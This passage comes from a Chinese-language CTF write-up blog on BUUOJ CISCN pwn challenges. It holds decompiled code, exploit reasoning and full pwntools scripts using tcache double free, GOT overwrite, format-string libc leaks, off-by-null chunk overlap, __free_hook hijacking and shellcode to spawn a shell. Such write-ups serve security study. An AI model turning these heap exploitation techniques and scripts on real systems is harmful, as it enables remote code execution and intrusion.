    switch ( v8 )
    {
    case 2:
    if ( SHIDWORD(stat_loc.__iptr) <= 0 )
    exit(-1);
    qword_604948 = v13[--HIDWORD(stat_loc.__iptr)];
    v12 += 8LL;
    break;
    case 3:
    v11 = *(_QWORD *)(qword_604948 + 8);
    qword_604948 = *(_QWORD *)qword_604948;
    v12 -= 8LL;
    ptrace(PTRACE_POKEDATA, a1, v12, *(_QWORD *)(qword_604948 + 24));
    v3 = 0;
    break;
    case 4:
    if ( SHIDWORD(stat_loc.__iptr) > 48 )
    exit(-1);
    v13[SHIDWORD(stat_loc.__iptr)] = *(_QWORD *)qword_604948;
    ++HIDWORD(stat_loc.__iptr);
    v12 -= 8LL;
    qword_604948 = *(_QWORD *)(qword_604948 + 8);
    break;
    case 5:
    if ( SHIDWORD(stat_loc.__iptr) > 48 )
    exit(-1);
    v13[SHIDWORD(stat_loc.__iptr)] = *(_QWORD *)qword_604948;
    ++HIDWORD(stat_loc.__iptr);
    v12 -= 8LL;
    v4 = 0;
    for ( i = 0; i <= 136; ++i )
    {
    if ( qword_604978[4 * i] == v11 )
    {
    qword_604948 = (__int64)&qword_604960[4 * i];
    v4 = 1;
    break;
    }
    }
    if ( !v4 )
    exit(-1);
    v3 = 0;
    break;
    }
    }
    else
    {
    qword_604948 = *(_QWORD *)qword_604948;
    }
    }
    else
    {
    qword_604948 = *(_QWORD *)(qword_604948 + 8);
    }
    if ( v3 )
    v11 = *(_QWORD *)(qword_604948 + 24);
    ptrace(PTRACE_SETREGS, a1, 0LL, &v10); // set regs
    if ( ptrace(PTRACE_CONT, a1, 0LL, 0LL) < 0 ) // let child process continue
    {
    perror("ptrace");
    return __readfsqword(0x28u) ^ v14;
    }
    wait((__WAIT_STATUS)&stat_loc);
    }
    return __readfsqword(0x28u) ^ v14;
    }
  3. 前面一堆switch啥的就不管了,重点在ptrace(PTRACE_SETREGS, a1, 0LL, &v10);,因为设置完寄存器之后,就是通过ptrace(PTRACE_CONT, a1, 0LL, 0LL)把执行权限还给子进程了。
  4. gdb动态调试,断在ptrace(PTRACE_SETREGS, a1, 0LL, &v10);,查看第四个参数也就是rcx指向的位置,这是一个user_regs_struce的结构体(在”/user/include/sys/user.h”可以找到定义):
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    struct user_regs_struct
    {
    __extension__ unsigned long long int r15;
    __extension__ unsigned long long int r14;
    __extension__ unsigned long long int r13;
    __extension__ unsigned long long int r12;
    __extension__ unsigned long long int rbp;
    __extension__ unsigned long long int rbx;
    __extension__ unsigned long long int r11;
    __extension__ unsigned long long int r10;
    __extension__ unsigned long long int r9;
    __extension__ unsigned long long int r8;
    __extension__ unsigned long long int rax;
    __extension__ unsigned long long int rcx;
    __extension__ unsigned long long int rdx;
    __extension__ unsigned long long int rsi;
    __extension__ unsigned long long int rdi;
    __extension__ unsigned long long int orig_rax;
    __extension__ unsigned long long int rip;
    __extension__ unsigned long long int cs;
    __extension__ unsigned long long int eflags;
    __extension__ unsigned long long int rsp;
    __extension__ unsigned long long int ss;
    __extension__ unsigned long long int fs_base;
    __extension__ unsigned long long int gs_base;
    __extension__ unsigned long long int ds;
    __extension__ unsigned long long int es;
    __extension__ unsigned long long int fs;
    __extension__ unsigned long long int gs;
    };
  5. 然后就是根据rip去binary里找汇编码,因为都是一段一段的,然后通过int 3返回父进程。所以就只能对着汇编码,借助寄存器的值,手动分析子进程的执行逻辑。
  6. 细节就不赘述了(感觉这种方法有点笨,如果有大佬能提供更好的方法,希望可以教教我),分析的结果如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    function list:
    110 ==> first input after "string: " : size
    second input after "string: " : content (end with "\n")
    chunk will be added to global variable "chunk_array"
    119 ==> no use at all, simply "puts("sorry~\n");" after input done
    120 ==> simply write something on the stack (no use at all)
    238 ==> first input after "string: " : index
    free the chunk that recently malloc (pointer will not be reset to 0,
    thus bring double free)
    386 ==> simply exit

    some global variable:
    0x605AC0 ==> store the address of the chunk_array
    0x604940 ==> store the address of the present chunk
    0x6040E0 ==> store the times that "free" can be used (initialize to 4), if use up,
    the process will print out the chunk_array and simply exit

    some constraints:
    chunk size should satisfy "size > 0 && size <= 0x7F"
    can only malloc at most 10 chunks (according to the free space in chunk_array)
    for "238"(free) function, index should satisfy "index >= 0 && index <= 9"
    "238"(free) function can only be used 4 times (according to the value stored in 0x6040E0)
  7. 程序没有开PIE。
  8. 首先用tcache double free,把0x6040E0处的值(可以执行free操作的次数)改大一点。
  9. 再此利用tcache double free,把0x605AC0改到bss上,达到清空chunk_array的目的,从而又能分配10个chunk
  10. 由于free限制解除了,再利用double free改atoi_gotprintf_plt,从而利用fsb来leak栈上的libc地址。
  11. 最后double free改atoi_gotsystem,输入”/bin/sh”来getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
context.log_level = 'debug'

def new(size, content, trans=False):
if trans == True:
p.sendlineafter("command>> ", "%110c")
p.sendlineafter("string:", "%" + str(size) + "c")
else:
p.sendlineafter("command>> ", "110")
p.sendlineafter("string:", str(size))
p.sendlineafter("string:", content)

def edit(index, content, trans=False):
if trans == True:
p.sendlineafter("command>> ", "%120c")
p.sendlineafter("string:", "%" + str(index) + "c")
else:
p.sendlineafter("command>> ", "120")
p.sendlineafter("string:", str(index))
p.sendlineafter("string:", content)

def delete(index, trans=False):
if trans == True:
p.sendlineafter("command>> ", "%238c")
p.sendlineafter("string:", "%" + str(index) + "c")
else:
p.sendlineafter("command>> ", "238")
p.sendlineafter("string:", str(index))

'''
function list:
110 ==> first input after "string: " : size
second input after "string: " : content (end with "\n")
chunk will be added to global variable "chunk_array"
119 ==> no use at all, simply "puts("sorry~\n");" after input done
120 ==> simply write something on the stack (no use at all)
238 ==> first input after "string: " : index
free the chunk that recently malloc (pointer will not be reset to 0,
thus bring double free)
386 ==> simply exit

some global variable:
0x605AC0 ==> store the address of the chunk_array
0x604940 ==> store the address of the present chunk
0x6040E0 ==> store the times that "free" can be used (initialize to 4), if use up,
the process will print out the chunk_array and simply exit

some constraints:
chunk size should satisfy "size > 0 && size <= 0x7F"
can only malloc at most 10 chunks (according to the free space in chunk_array)
for "238"(free) function, index should satisfy "index >= 0 && index <= 9"
"238"(free) function can only be used 4 times (according to the value stored in 0x6040E0)
'''

offset = 0x21b97
system_offset = libc.symbols["system"]
atoi_got = elf.got["atoi"]
printf_plt = elf.plt['printf']
bss = elf.bss(0x1500)
chunk_array_addr = 0x605AC0
delete_times_addr = 0x6040e0

# double free
new(0x28, 'AAAA')
delete(0)
delete(0)
new(0x38, 'BBBB')
delete(0)
delete(0)

# set the delete time to 0xAAA
new(0x28, p64(delete_times_addr))
new(0x28, 'AAAA')
new(0x28, p64(0xAAA))

# reset the chunk_array
new(0x38, p64(chunk_array_addr))
new(0x38, 'AAAA')
new(0x38, p64(bss))

# double free
new(0x48, "CCCC")
delete(0)
delete(0)
new(0x58, "DDDD")
delete(0)
delete(0)

# write aoti_got to printf_plt
new(0x48, p64(atoi_got))
new(0x48, 'AAAA')
new(0x48, p64(printf_plt))

# leak libc
p.sendlineafter("command>> ", "%25$p")
p.recvline()
libc_addr = int(p.recv(14)[2:], 16)
libc_base = libc_addr - offset
libc_system = libc_base + system_offset

# write atoi_got to system
new(0x58, p64(atoi_got), True)
new(0x58, "DDDD", True)
new(0x58, p64(libc_system), True)

# system("/bin/sh")
p.sendlineafter("command>> ", "/bin/sh\x00")

success("libc_base: " + hex(libc_base))
success("libc_system: " + hex(libc_system))

p.interactive()

ciscn_final_8

前言

乍一看好像挺复杂的,其实仔细看看逻辑挺简单的(但是我还是花了蛮久时间的,太菜了)。

思路

  1. login之后,输入text的长度是可控的而且没有限制,故存在溢出。
  2. register一个user的时候,会先对输入的password进行SM3散列计算再储存,然后在输入完text之后,对所有的元数据(包括user的名字,password lengthpassword散列,text_lentext)再进行一次SM3散列计算并储存。
  3. 之后的每次login都会对这两个散列进行检查。
  4. 利用user0的溢出将user1特定的password散列leak出来(比如”0”)。
  5. 利用leak出来的password散列,伪造user2用户输入的passwordadmin2所有元数据(包括名字admin2password length(1),password散列(之前leak出来的”0”的散列),text_lentext),该元数据的散列值将会被储存在user2的区域。
  6. 利用user1的溢出leak出上述提到的admin2的所有元数据的散列。
  7. 再次利用user1的溢出覆盖user2为伪造的superuser也就是admin2
  8. user2的身份login,此时便能通过superuser也就是admin2的check条件,达到调用getflag功能的目的。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
def register(age, passwd_len, passwd, content_len, content):
p.sendlineafter("Choice> ", "1")
p.sendlineafter("please set your age:", str(age))
p.sendlineafter("first, length of passwd?", str(passwd_len))
p.sendafter("ok, input your passwd", str(passwd))
p.sendlineafter("first, length of text?", str(content_len))
p.sendafter("ok, input your text", content)

def login(id, passwd_len, passwd):
p.sendlineafter("Choice> ", "2")
p.sendlineafter("first, input your id", str(id))
p.sendlineafter("length of passwd?", str(passwd_len))
p.sendafter("ok, input your passwd", str(passwd))

def whoami():
p.sendlineafter("Choice> ", "1")

def getflag():
p.sendlineafter("Choice> ", "2")

def set_content(content_len, content):
p.sendlineafter("Choice> ", "3")
p.sendlineafter("first, length of text?", str(content_len))
p.sendafter("ok, input your text", content)

def quit():
p.sendlineafter("Choice> ", "4")

context.log_level = "debug"

# register two user
register(0, 1, "0", 1, "0")
register(0, 1, "0", 1, "0")

# leak the SM3 of the password
login(0, 1, "0")
set_content(0x70, 'A' * 0x6C + "SM3:")
whoami()
p.recvuntil("SM3:")
digest = p.recvline()
assert(len(digest) == 0x22 and digest[-2] == '0')
digest = digest[:-2]

# restore the second user
payload = "A" * 0x40 + '\x00' * 0x4
payload += p64(0x91)
payload += p64(1) + p32(1) + "user1"
payload = payload.ljust(0x70, "\x00")
set_content(0x70, payload)

# test the second user
# quit()
# login(1, 1, "0")
# quit()

# reigster the third user
password = p64(2) + p32(1) + "admin"
password += "2"
password = password.ljust(0x24, "\x00")
password += digest
password += "0"
password = password.ljust(0x64, "\x00")
register(0, 0x64, password, 1, "0")

# leak the SM3 of the password
login(1, 1, "0")
set_content(0x70, 'A' * 0x6C + "SM3:")
whoami()
p.recvuntil("SM3:")
digest = p.recvline()
assert(len(digest) == 0x22 and digest[-2] == '0')
digest = digest[:-2]

# fake the third user as admin
payload = "A" * 0x4C
payload += password
payload += digest
set_content(0x84 + 0x4C, payload)

# login as admin
quit()
login(2, 1, "0")

# getflag
getflag()

p.interactive()

ciscn_final_9

前言

明显的off by null,通过unlink形成chunk overlap,因为看错了if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))判断条件一度怀疑人生(甚至怀疑以前怎么做unlink的)。

思路

  1. 分配所有10个chunk,将后面的7个chunk释放并填满tcache bin。
  2. 剩下的三个chunk通过off by null形成chunk overlap,需要满足相应的fdbkprev_size字段。
  3. 由于”\x00\x02”(prev_size=0x200)无法直接写进去,这里需要连续释放剩下的3个chunk,使得第三个chunk的prev_size会被写入0x200
  4. 将所有10个chunk又全部从bin中分配出来。
  5. 释放除了3个上述提到的unsorted bin之外的7个chunk中的6个,以填充6个tcache bin的位置。
  6. 将3个unsorted bin中位于中间位置的chunk释放到tcache bin中,从而下一次分配就能分配到该chunk,将size设置为0x78从而覆盖第三个unsorted bin的prev_inuse标志位为0。
  7. 再次将tcache bin重新填满,释放第一个unsorted bin,满足fdbk的约束。
  8. 此时再次释放第三个unsorted bin,此时触发unlink,获得0x300的unsorted bin,第二个unsorted bin被overlap,从而可以被二次分配。
  9. 之后就利用tcache double free,写__free_hook为onegadget,触发free来getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
def new(size, content):
p.sendlineafter("which command?\n> ", "1")
p.sendlineafter("size \n> ", str(size))
if size != 0:
p.sendafter("content \n> ", content)

def delete(index):
p.sendlineafter("which command?\n> ", "2")
p.sendlineafter("index \n> ", str(index))

def show(index):
p.sendlineafter("which command?\n> ", "3")
p.sendlineafter("index \n> ", str(index))

context.log_level = "debug"

main_arena_offset = 0x3ebc40
system_offset = libc.symbols["system"]
__free_hook_offset = libc.symbols["__free_hook"]
one_gadget_offset = 0x10a38c
one_gadget_offset = 0x4f322

# malloc 10 chunks
for i in range(10):
new(4, "AAAA\n")

# fill tcache bin
for i in range(7):
delete(i + 3)

# unsorted bin
delete(0)
delete(1)
delete(2)

# malloc 10 chunks
for i in range(7):
new(0xF0, "BBBB\n")
new(0xF0, "BBBB\n")
new(0xF0, "BBBB\n")
new(0xF0, "BBBB\n")

# chunk overlap
for i in range(7):
delete(i)
delete(7) # put chunk 7 into unsorted bin
new(0xF0, "CCCC\n") # leave one tacache bin for chunk 8
delete(8) # put chunk 8 into tcache bin
new(0xF8, "DDDD\n") # off by null to chunk 9
delete(0) # fill tcache bin
delete(9) # unlink

# take all tcache bin out
for i in range(7):
new(0xF0, "EEEE\n")

# leak libc
new(0xF0, "FFFF\n") # chunk 8
show(1)
main_arena = u64(p.recv(6).ljust(8, "\x00"))
libc_base = main_arena - 0x60 - main_arena_offset
libc_system = libc_base + system_offset
__free_hook = libc_base + __free_hook_offset
one_gadget = libc_base + one_gadget_offset

# tcache double free
new(0xF0, "GGGG\n") # chunk 9
delete(0) # prepare enough space
delete(9)
delete(1)

# write __free_hook
new(0xF0, p64(__free_hook)) # chunk 0
new(0xF0, "/bin/sh\x00") # chunk 1
new(0xF0, p64(one_gadget)) # chunk 9

# trigger __free_hook
delete(1)

success("libc_base: " + hex(libc_base))
success("__free_hook: " + hex(__free_hook))
success("libc_system: " + hex(libc_system))
success("one_gadget: " + hex(one_gadget))

p.interactive()

ciscn_final_10

前言

这个应该巨简单了,根本没难点。

思路

  1. 首先要通过check才能进行后续操作,随机数肯定是才不到的,后续只要输入一个低2 bytes为0的负数就能通过check了。
  2. 后面就是明显的tcache double free。
  3. 通过partial write tcache bin,分配到储存The cake is not a lie!的chunk,将其改写为The cake is a lie!
  4. 之后输入一个无效选项(比如3)触发后续接受输入,在对该输入进行简单的异或操作后当作指令执行的功能。
  5. 对shellcode进行对应的处理之后作为输入,然后就能getshell了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
def access():
p.sendlineafter("> ", "-65536")
p.sendlineafter("> ", "-65536")

def new(size, content):
p.sendlineafter("> ", "1")
p.sendlineafter("> ", str(size))
p.sendafter("> ", content)

def delete():
p.sendlineafter("> ", "2")

def gen_shellcode():
payload = ""
shellcode = asm(shellcraft.sh())
shellcode = [ord(item) for item in shellcode][::-1]

for i in range(len(shellcode)):
if i == 0:
payload += chr(shellcode[i])
else:
payload += chr(ord(payload[i - 1]) ^ shellcode[i])
return payload[::-1]

context.log_level = 'debug'

# get access right
access()

# double free
new(0x38, "AAAA")
delete()
delete()

# change str
new(0x38, "\x90")
new(0x38, "BBBB")
new(0x38, "The cake is a lie!\x00")

# send shellcode
p.sendlineafter("> ", "3")
p.sendafter("> ", gen_shellcode())

p.interactive()
Author: Nop
Link: https://n0nop.com/2020/05/05/BUUOJ-%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95-CISCN/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.